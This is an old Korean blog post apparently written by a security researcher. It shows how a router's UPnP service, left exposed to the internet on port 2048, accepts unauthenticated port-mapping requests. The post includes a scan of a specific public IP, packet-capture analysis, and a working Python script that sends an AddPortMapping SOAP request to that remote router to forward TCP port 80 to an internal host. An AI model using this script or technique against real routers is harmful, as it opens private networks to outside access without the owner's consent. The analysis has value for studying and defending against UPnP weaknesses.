2012.12.02 01:51

공유기 펌웨어의 upnp 라는것이 존재 하기에, 좀더 편리하게 홈 네트워크를 구축 할 수 있다.

대부분의 공유기는 이러한 편의를 제공하기 위해 UPNP를 default 설정을 ON 으로 해놓는다.

하지만 이러한 포트가 외부로 열려 있는 경우가 있다. 어떤 회사인지는 공개하지 않겠음) 



공유기에 있는 IP 로 (210.118.64.148) 스캐닝을 한 결과이다. 

[사내 아이피으로 절대 동일 스캔을 날리지 마세요 법적 제제를 하겠습니다.)

 이중에 관심깊게 볼 부분은(펌웨어 분석을통한 포트 2048) 이다.



OPTIONS * HTTP/1.1 을 이용하여 하여 UPnP/1.0  버젼이 있음을 알수 있다.

uPnP는 토론토등이 사용하고 있다고 알고 있어 처음에는 토렌토 패킷을 분석했으나, 잡패킷이 너무많아 아니다 싶었다.

바로 다른 uPnP 패킷을 잡을수 있는 프로그램을 구했는데, 내부망에서만 구현이 가능토록 설계된 프로그램이다. 

(스캔과정을 거쳐서 접속할 대상을 고르기 때문에..)


간단한 분석을 위하여 이전 글에 올린 PORTMapper 로 upnp 포워딩을 설정하는 장면이다.




위 그림은 포트매핑을 하는 그림이다. 이그림에서 RemoteHost 부분을 공백으로 할시에는 모든 패킷을 통과 시킨다. 

그리고 TCP 80번 (웹패킷) 만 포워딩을 시켜 간단하게 어떠한 구도로 가는지 봐보자 


이과정을 가질때 패킷을 wireshark 로 잡아보면 아래와 같다.



 3  hand shaking 이 있은 뒤에 PSH,ACK 를 통해 이렇게 POST 값으로 얼마만큼의 패킷이 갈지 결정된 뒤에, 아래와 같이 XML 형식으로 어떠한 설정을 할지 결정해 준다.




이 과정에서 얻은 패킷을 문자열로 바꿔 보면 아래와 같다. 



웹통신 규약에 맞추어 개행을 해주고 이를 소켓으로 쏴주면 아름답게 포워딩이 됨을 확인 할 수 있다.

이때 중요한 점은 HOST 부분에 LOCAL 아이피가 아닌 REMOTE환경에서의 아이피가 필요하다. 

import socket



IP = '210.118.64.148'

PORT = 2048



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((IP,PORT))

#sock.send("OPTIONS * HTTP/1.0\r\n\r\n")


sock.send("POST /etc/linuxigd/gateconnSCPD.ctl HTTP/1.1\r\nCONTENT-TYPE: text/xml; charset=\"utf-8\"\r\nSOAPACTION: \"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nUser-Agent: Java/1.7.0_09\r\nHost: 210.118.64.148:2048\r\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\nConnection: keep-alive\r\nContent-Length: 579\r\n\r\n<?xml version=\"1.0\"?>\r\n<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>80</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>80</NewInternalPort><NewInternalClient>192.168.0.1</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>test</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n\r\n\r\n")


data = sock.recv(5024)

print data

sock.close()




Posted by k1rha